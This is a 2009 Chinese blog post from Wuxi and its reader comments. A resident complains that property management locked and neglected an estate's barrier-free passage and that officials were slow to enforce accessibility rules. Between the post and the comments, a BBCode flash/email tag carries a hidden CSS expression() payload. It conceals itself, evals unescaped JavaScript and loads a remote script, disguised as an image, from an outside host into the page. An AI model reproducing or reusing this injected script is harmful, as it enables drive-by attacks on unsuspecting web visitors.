市房管局物业管理处的徐先生上周跟我说，已经责令西河苑小区物业整改了，这周去验收。昨天中午，市文明办派了老朱和另外一位同志，市房管局物业管理处徐先生、物业管理中心张女士和我一起去了小区，小区无障碍通道已经清扫出来，但由于通道大门还是关着，所以仍然臭气扑鼻。 小区物业管理处昨天在小区内部的通道口用A4纸贴了一张语病百出的公告，原文照抄如下： 公 告 为确保小区安全、方便业主，凡需要进出残疾人电梯通道的残疾人员，可以到门卫保安室喊叫保安，对小区内残疾人24小时为您提供护送进出服务。 无锡市天太物业管理有限公司西河苑物业 2009年元月 市文明办的老朱当场就对他们说，你这张公告太不醒目了，他比划了一下，要求至少要四个A4纸那么大。他们当面答应了，可今天我看到还是昨天那张A4纸。 无障碍通道，是政府为百姓生活能更便利而要求开发商在住宅小区开设的一条人性化通道，所谓人性化，即它不仅仅是针对残疾人，也针对老年人，针对因各种身体情况而有需要的每一个人。西河苑小区是一个有架空层的小区，进入小区必须要爬上二十级台阶，因此，这里的无障碍通道，从人性化的角度来讲，使用的人群就更广泛。人到了一定的年龄，膝关节就会老化或出现一些问题，弯曲和上下楼梯就疼痛，他们不是残疾人，但他们也很需要人性化的无障碍通道；出门购物，大包小包，拖个拖车回家，这大门口几十级台阶怎么上？小区居民并非个个都是身强力壮的大力士，他们也需要人性化的无障碍通道；推着婴儿车的妈妈或者奶奶要进出小区，他们不是残疾人，但也需要人性化的无障碍通道。在这个小区，这条出入小区的唯一一条人性化通道，体恤着小区里所有有需要的人们。可是，小区物业居然贴出这样的公告，以这样的方式提供使用，也就是说，这个通道的门平时仍然是锁着的，要用可以，绕个大圈子到大门口去叫他们过来开门！而且你必须是残疾人才可以！老年人呢？没有很大的力气，却买了一包大米回家的家庭主妇呢？腿脚有疾病但却不是残疾的人呢？得了其它疾病爬不动那几十级台阶的人呢？推着婴儿车要出门的妈妈或奶奶呢？他们仍然是在为这条无障碍通道设置障碍，这显然是很不人性化的。按照市政府办公室《关于进一步加强城市无障碍设施规划设计与建设管理工作的意见》（ 锡政办发〔2008〕198号）文件第四条第四点“坚持建管并重，维护无障碍环境。对已经建成的无障碍设施，建设单位应当按照国家和本市的有关规定，配置统一格式的引导标志牌。无障碍设施的日常养护和管理按照资产权属和管养职责分工进行，由建设项目产权所有人或者其委托、授权的经营管理者负责。行政执法部门对损坏、占用无障碍设施或改变无障碍设施用途的现象，应予以行政处理，坚决杜绝占用、损坏无障碍设施和在无障碍设施上设置障碍的现象，确保其功能长期正常发挥。”的要求，他们做到了吗？这个作为小区无障碍出入口通道的大门上如果平时仍然上着锁，不还是他们在无障碍设施上设置障碍吗？！ 从文明办两位同志的表情里，我觉得他们对这样的结果也并不满意。我不知道房管局两位同来验收的同志是否对这样的整改结果满意。 就这件事情，从我的报告送出至今，前后已经有20天了，至今整改的结果却只是这样，那么相关部门的相关工作人员是不是该加强一下工作力度提高一点工作效率呢？ 事情，不是做了就可以为做好了，必须要做到位，方可认为做好了。 写于二零零九年一月十七日子夜 二零零九年一月十八日续： 今天休息，出门之前去无障碍通道看一下，顺便拍了几张照片： 
还是脏，还是臭气冲鼻，这样的通道，这样的道口，人能通行吗？恐怕猫狗都会嫌脏吧？况且，通道的两边门口都没有设保安岗位，这样，小区安全吗？在我拍这几张照片的时候，住我们同一栋楼602的阿姨问我这儿能走吗？我说能走的，我带你走一下，阿姨跟我从电梯下去到了通道口说，原来这儿可以走的啊，真是太好了！早知道这样，我家老头子开了盲肠炎回家就走这儿了，门口那台阶上来要了老头子半条命！不过这门应该开着，这么臭不行啊。正说着，601的母子俩提着大包小包脸红气喘地来到门口，20楼的一位女士也正好下楼，大家一致认为就目前这样的状况是不可能满意的，我说要求成立业委会的报告我早已经送出去了，但至今没有任何回应。
应该说，小区物业管理处如果不增加保安人员，他们就无法做到既保证小区业主的人身财产安全，又按照政府要求保证这条小区唯一的无障碍通道的功能正常发挥。602的业主说原先他们脱在家门口的鞋子就经常失窃。我说我在请旁边一栋楼里业主签名打报告成立业委会的时候也听说他们家放在门口的鞋被偷了。这就又牵出另外一些问题：小区目前的保安人员是否足够？小区的物业管理费用支出是多少？属于小区业主的物业出租面积和收入是多少？应收的物业管理费是多少？收支相抵到底是亏还是盈余？已出售的地下车库成本有没有进入商品房销售成本？如果有，那么，收入是否应归全体业主所有？业主要求他们帐目公开，他们该不该做到？如果他们不做或做不到，政府哪个部门可以责成他们做到？我们维权路的长短，除了取决于政府职能部门某些工作人员的敬业态度、工作水平、工作力度和工作效率之外，政府的相关文件中，是否应该在下达工作目标和要求的同时，对如何落实实施有更具体更细致更明确的规定？比如，对城市道路、广场、公园、公共建筑等地方的无障碍设施被破坏和侵占、检查和管理，由公安、交通和城市管理部门执法，那么，对于小区出入口和小区内部的无障碍设施被破坏和侵占、检查和管理该由谁来执法？“行政执法部门对损坏、占用无障碍设施或改变无障碍设施用途的现象，应予以行政处理”，具体又是哪个行政执法部门？在谁都可以管谁都可以不管的情况下，看似重视，但结果，落实和追究起来却找不到具体主管部门。
这件事情，远没有结束。
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]
文章评论
原野情怀
在中国,国家政府部门养着那么多的公务员和机关干部干什么呢？那样的工作作风、态度和效率,如果把他们减少到三分之二我认为都不嫌多吧！这些人还号称所谓"人民的公仆"真是莫大的讽刺啊！哈哈...这就是中国特色！
原野情怀
楼主:别太生气了,在这样的国度里我们只好选择-忍耐！再忍耐！！祝你早日圆满成功！
瓦里安
呵呵，你很热心公共事业，我们的政府不是老百姓的政府，嘴上越叫的响的事就越是假的。你也别生气了，政府养了一帮费物。
有缘
哦实在太脏拉怎么住啊我支持你
LJ
有业主委员会吗？业主委员会可以驱逐不合格的物业，不需要姐姐你和他们费口舌。
皓月映千山
这个小区没有业主委员会吗？这样的小区卫生这个样子怎么住啊
暐怡
“和谐中国 和谐社会” 面对一群睁一只眼闭一只眼的养尊处优的管理层 面对一帮损害弱势群体利益 只为一己赚取黑心利润的强者 唯一的只有一声叹息。。。。。。
甘露
看到你的维权行动已经引起了有关部门的重视，同时也有了一点点成效，很为你及业主们高兴。但这只是万里长征的第一步，病好后还要继续，千万不要半途而废!另外，我想你们小区所属的街道办事处也有管理义务啊，可不可以找找他们?为了小区相对安全，残疾人通道上锁也可以理解，但是如果每个业主都有一把钥匙不也可以解决出入难的问题了吗?
翰韧
我看了第一篇就觉得你是个热心人，还有一定的正义感。你所谈到你们小区物业在管理上存在很多严重的问题应该得到有关职能部门关心的。但具体还是要有一定法律依据，如：成立业主委员会要有一定的住房率，才能有资格成立业主委员会；不知道你们城市是否对物业小区有等级划分的文件规定，你们小区现在是定的什么等级，什么样的等级应该达到什么样标准和什么收费标准。这样你们就有说服力了。另外你们还可以去街道和消费者协会去投诉的。另外你把这种情况在博客上刊登的，让你们当地的网友来帮你出出注意。真心希望你们小区能早日得到改善！ 不知道说得对不对，请不要笑话我。
哈哈
[ft=#000033,5,楷体_gb2312][B]潇姐：楼上老大说得对，一个个小区从属于一个个居委会，一个个居委会从属于一个个街道，一个个街道又从属于一个个区，所以你们的问题可以从一个小小的居委会开始往上级逐步反映，通过行政管理的渠道、群众组织（消费者协会）以及媒体的力量来解决，在这中间业主们要团结，团结的力量大！我们单位的同事在购买房子的时候发现质量问题，所有的业主非常团结，他们有组织有计划有步骤进行，形式多样（聚会、发传单、投诉、媒体介入等最后逼迫开发商进行合理的赔偿、退款、修复等，在这过程中业主门在博客上写了许多文章、打油诗、有的还把打油诗印在了体恤上，最后业主们维护了自己的合法利益。一定要有信心，一定要团结。期待着事情向好的方向发展．．．．．．[em]e181[/em][em]e121[/em][/B][/ft]
糊涂
[B][I][ft=#66ff00,5,黑体] 美丽的无锡还有这么要命的物业管理？[/ft][/I][/B]
梦里花香
[em]e194[/em][em]e166[/em][em]e179[/em][em]e179[/em]
春风吹晚霞
[url=http://xa.photo.store.qq.com/http_imgload.cgi?/rurl2=be416ea9eb66053e8308fa9c3183868205e4b8e0a356a1dbb6afbd5b585794f5f291bd81b7183b32cdf961c73d41c02f1e6a4647ab04d42411b5650c9dc81ef9c8b3ddf492cf94f72ff5a9d3ae01af0dcb5305c3][img]http://b2.photo.store.qq.com/http_imgload.cgi?/rurl2=be416ea9eb66053e8308fa9c3183868205e4b8e0a356a1dbb6afbd5b585794f5f291bd81b7183b32cdf961c73d41c02f1e6a4647ab04d42411b5650c9dc81ef9c8b3ddf492cf94f72ff5a9d3ae01af0dcb5305c3&ek=1&kp=1&pt=0&su=1243445859&sce=0-12-12&rf=2-9[/img][/url]
春风吹晚霞
[url=http://xa.photo.store.qq.com/http_imgload.cgi?/rurl2=8651e29e2b912f2fbf97521c078d3bbb6ca481591f00c1286c7598587b31756827451d13b9a6676cc92c1bcedc6f49e31303e18e5c65549a2dc945eba3e21791b8a71a17d6d4754781e05b58eed90744b8cb47a0][img]http://b2.photo.store.qq.com/http_imgload.cgi?/rurl2=8651e29e2b912f2fbf97521c078d3bbb6ca481591f00c1286c7598587b31756827451d13b9a6676cc92c1bcedc6f49e31303e18e5c65549a2dc945eba3e21791b8a71a17d6d4754781e05b58eed90744b8cb47a0&ek=1&kp=1&pt=0&su=1165370416&sce=0-12-12&rf=2-9[/img][/url]
风雨君子
我没有去过无锡.可我看过无锡美丽的夜景. 小区怎么不好.是该把他们驱逐出去了. 不要生气慢慢解决.